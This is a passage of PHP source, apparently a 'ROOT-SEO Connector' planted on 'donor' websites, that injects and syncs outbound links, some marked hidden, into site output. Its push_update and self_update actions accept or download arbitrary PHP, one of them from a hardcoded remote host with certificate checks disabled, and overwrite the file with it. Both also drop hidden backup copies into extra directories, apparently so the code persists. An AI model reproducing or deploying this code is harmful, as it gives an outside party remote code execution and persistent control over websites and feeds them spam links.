            'seo_hidden' => !empty($req['seo_hidden']) || !empty($req['hidden_link']),
        ];
        $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
        save_links($existingLinks);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [
                'link_id' => $linkId,
                'injected' => false,
                'placement_report' => placement_report_payload(),
            ], 'placement_install_failed', 500);
        }
        $finalLinks = load_links();
        $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
        $cachePurge = rootseo_purge_caches(true);
        respond(true, [
            'link_id' => $linkId,
            'injected' => true,
            'render_types' => $finalRow['render_types'],
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
            'cache_purge' => $cachePurge,
        ], 'link_added');
        break;

case 'remove_link':
        $linkId = validate_link_id($req['link_id'] ?? '');
        if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
        $links = load_links();
        if (isset($links[$linkId])) {
            unset($links[$linkId]);
            if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
            refresh_current_placement(load_config());
            $cachePurge = rootseo_purge_caches(true);
        } else {
            $cachePurge = ['skipped' => true];
        }
        respond(true, ['removed' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'link_removed');
        break;

case 'sync_links':
        $incoming = $req['links'] ?? [];
        if (is_string($incoming)) {
            $decoded = json_decode($incoming, true);
            if (is_array($decoded)) $incoming = $decoded;
        }
        if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
        if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
        $config = load_config();
        $current = load_links();
        $backup = $current;
        $final = [];
        $added = 0;
        $removed = 0;
        $unchanged = 0;
        foreach ($incoming as $row) {
            if (!is_array($row)) continue;
            $url = validate_url_value($row['url'] ?? '');
            $anchor = validate_anchor_text($row['anchor'] ?? '');
            if ($url === '' || $anchor === '') continue;
            $rel = normalize_rel($row['rel'] ?? 'dofollow');
            $id = validate_link_id($row['id'] ?? '');
            if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
            $normalized = normalize_link_row($id, [
                'id' => $id,
                'kind' => normalize_kind($row['kind'] ?? 'footer'),
                'url' => $url,
                'anchor' => $anchor,
                'rel' => $rel,
                'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
                'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
                'updated_at' => time(),
                'render_profile' => $config['render_profile'],
                'render_types' => $row['render_types'] ?? $config['render_types'],
                'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']),
            ], $config);
            $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
            if (!isset($current[$id])) {
                $added++;
            } else {
                $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                if ($before === $after) $unchanged++;
            }
            $final[$id] = $normalized;
        }
        foreach ($current as $id => $row) {
            if (!isset($final[$id])) $removed++;
        }
        save_links($final);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
        }
        $cachePurge = rootseo_purge_caches(true);
        respond(true, [
            'total' => count($final),
            'added' => $added,
            'removed' => $removed,
            'unchanged' => $unchanged,
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
            'cache_purge' => $cachePurge,
        ], 'synced');
        break;

case 'clear_links':
        if (!save_links([])) respond(false, [], 'links_write_failed', 500);
        refresh_current_placement(load_config());
        $cachePurge = rootseo_purge_caches(true);
        respond(true, ['cleared' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'links_cleared');
        break;

case 'clear_expired':
        list($activeAfter, $expiredRemoved) = clear_expired_links();
        respond(true, [
            'cleared' => count($expiredRemoved),
            'remaining' => count($activeAfter),
            'placement_report' => placement_report_payload(),
        ], 'expired_links_cleared');
        break;

case 'verify_links':
        respond(true, verify_links_action(), 'verified');
        break;

case 'placement_report':
        respond(true, placement_report_payload(), 'placement_report');
        break;

case 'self_reconcile':
        respond(true, self_reconcile_action(), 'reconciled');
        break;

case 'get_config':
        $cfg = load_config();
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
            'placement' => $cfg['placement'],
        ], 'config');
        break;

case 'set_config':
        // Panel can change output_mode, render_types, render_profile, link_rel_strategy.
        // Placement state is NOT changed via this endpoint (use add_link / verify_links).
        $cfg = load_config();
        // v5.4: hidden/cloaked rendering removed — only 'visible' is accepted.
        $allowedOutputModes = ['visible'];
        $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow'];
        if (isset($req['output_mode'])) {
            $om = strtolower(trim((string)$req['output_mode']));
            if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400);
            $cfg['output_mode'] = $om;
        }
        if (isset($req['footer_link_cap'])) {
            // v5.5: 0 or negative = unlimited
            $cfg['footer_link_cap'] = max(0, intval($req['footer_link_cap']));
        }
        if (isset($req['contextual_max_ttl'])) {
            $cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]);
        }
        if (isset($req['render_profile'])) {
            $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile'];
        }
        if (isset($req['render_types'])) {
            $rt = $req['render_types'];
            if (is_string($rt)) {
                $decoded = json_decode($rt, true);
                $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt)));
            }
            if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400);
            $cfg['render_types'] = filter_render_types($rt);
        }
        if (isset($req['link_rel_strategy'])) {
            $rs = strtolower(trim((string)$req['link_rel_strategy']));
            if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400);
            $cfg['link_rel_strategy'] = $rs;
        }
        if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500);
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
        ], 'config_updated');
        break;

case 'reinstall_placement':
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true);
        $cachePurge = rootseo_purge_caches(true);
        respond($ok, [
            'placement_ok' => $ok,
            'placement' => $newConfig['placement'] ?? null,
            'meta' => $placementMeta,
            'placement_report' => placement_report_payload(),
            'version' => CONNECTOR_VERSION,
            'cache_purge' => $cachePurge,
        ], $ok ? 'placement_reinstalled' : 'placement_reinstall_failed', $ok ? 200 : 500);
        break;

case 'purge_cache':
        respond(true, [
            'cache_purge' => rootseo_purge_caches(true),
            'version' => CONNECTOR_VERSION,
        ], 'cache_purged');
        break;

case 'push_update':
        // Panel pushes fresh PHP source directly (no outbound fetch from donor).
        $newSource = '';
        if (isset($req['source']) && is_string($req['source']) && $req['source'] !== '') {
            $newSource = $req['source'];
        } elseif (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') {
            $decoded = base64_decode($req['source_b64'], true);
            if ($decoded !== false) $newSource = $decoded;
        } else {
            $raw = get_raw_body();
            if ($raw !== '' && strpos($raw, '<?php') !== false) $newSource = $raw;
        }
        if ($newSource === '' || strpos($newSource, '<?php') === false || strpos($newSource, 'ROOT-SEO Connector') === false) {
            respond(false, [], 'invalid_source', 400);
        }
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        // Yerel dizine yazılamıyorsa /tmp yedeği yeterli — update yine de ilerlesin.
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/rootseo_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php';
            if (!@copy($self, $backup)) {
                $backup = '';
            }
        }
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) $opcacheCleared = @opcache_invalidate($self, true);
        if (!$opcacheCleared && function_exists('opcache_reset')) $opcacheCleared = (bool)@opcache_reset();
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . '/.rs_connector.php.bak', $newSource);
            @file_put_contents($dir . '/.rs_stamp.json', json_encode(['version' => (preg_match("/define\\('CONNECTOR_VERSION',\\s*'([^']+)'/", $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), 'hash' => hash('sha256', $newSource), 'at' => time()]));
        }
        try {
            $cfg = load_config();
            $cfg['footer_link_cap'] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'mode' => 'push_update',
            'next' => 'call_reinstall_placement',
        ], 'pushed_update');
        break;

case 'self_update':
        // Pull fresh PHP from panel and atomically replace this file.
        // Requires PANEL_API_URL to be a real value (placeholder safety).
        $apiUrl = trim((string)PANEL_API_URL);
        $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : '';
        $headers = [
            'X-RS-Panel-Token: ' . PANEL_TOKEN,
            'Accept: application/x-php',
            'User-Agent: rootseo-connector/' . CONNECTOR_VERSION,
        ];
        $candidates = [];
        if ($apiUrl !== '' && strpos($apiUrl, '{{') === false) {
            $candidates[] = rtrim($apiUrl, '/') . '/connector/v5/source';
        }
        // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds.
        $candidates[] = 'https://root-seo.com/api/connector/v5/source';
        $candidates = array_values(array_unique($candidates));

$newSource = '';
        $httpStatus = 0;
        $usedUrl = '';
        foreach ($candidates as $sourceUrl) {
            $newSource = '';
            $httpStatus = 0;
            $usedUrl = $sourceUrl;
            if (function_exists('curl_init')) {
                $ch = curl_init($sourceUrl);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_TIMEOUT => 25,
                    CURLOPT_CONNECTTIMEOUT => 10,
                    CURLOPT_HTTPHEADER => $headers,
                    CURLOPT_SSL_VERIFYPEER => false,
                ]);
                $newSource = (string)curl_exec($ch);
                $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
            } else {
                $ctx = stream_context_create([
                    'http' => [
                        'method' => 'GET',
                        'header' => implode("\r\n", $headers),
                        'timeout' => 25,
                    ],
                    'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
                ]);
                $newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
                $httpStatus = ($newSource !== '') ? 200 : 0;
            }
            if ($httpStatus === 200 && $newSource !== '' && strpos($newSource, '<?php') !== false) {
                break;
            }
        }
        if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) {
            respond(false, ['http_status' => $httpStatus, 'tried' => $candidates], 'source_fetch_failed', 502);
        }
        if (strpos($newSource, "ROOT-SEO Connector") === false) {
            respond(false, [], 'source_signature_mismatch', 502);
        }
        // Backup current file then atomic replace.
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/rootseo_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php';
            if (!@copy($self, $backup)) {
                $backup = '';
            }
        }
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) {
            $opcacheCleared = @opcache_invalidate($self, true);
        }
        if (!$opcacheCleared && function_exists('opcache_reset')) {
            $opcacheCleared = (bool)@opcache_reset();
        }
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . '/.rs_connector.php.bak', $newSource);
            @file_put_contents($dir . '/.rs_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()]));
        }
        try {
            $cfg = load_config();
            $cfg['footer_link_cap'] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'guardian_synced' => true,
            'source_url' => $usedUrl,
            'requested_version' => $expectedVersion ?: null,
            'next' => 'call_reinstall_placement',
        ], 'self_updated');
        break;

case 'output':
        header('Content-Type: text/html; charset=UTF-8');
        echo rootseo_render_links_html();
        exit;

default:
        respond(false, [], 'unknown_action', 404);
}

cmd: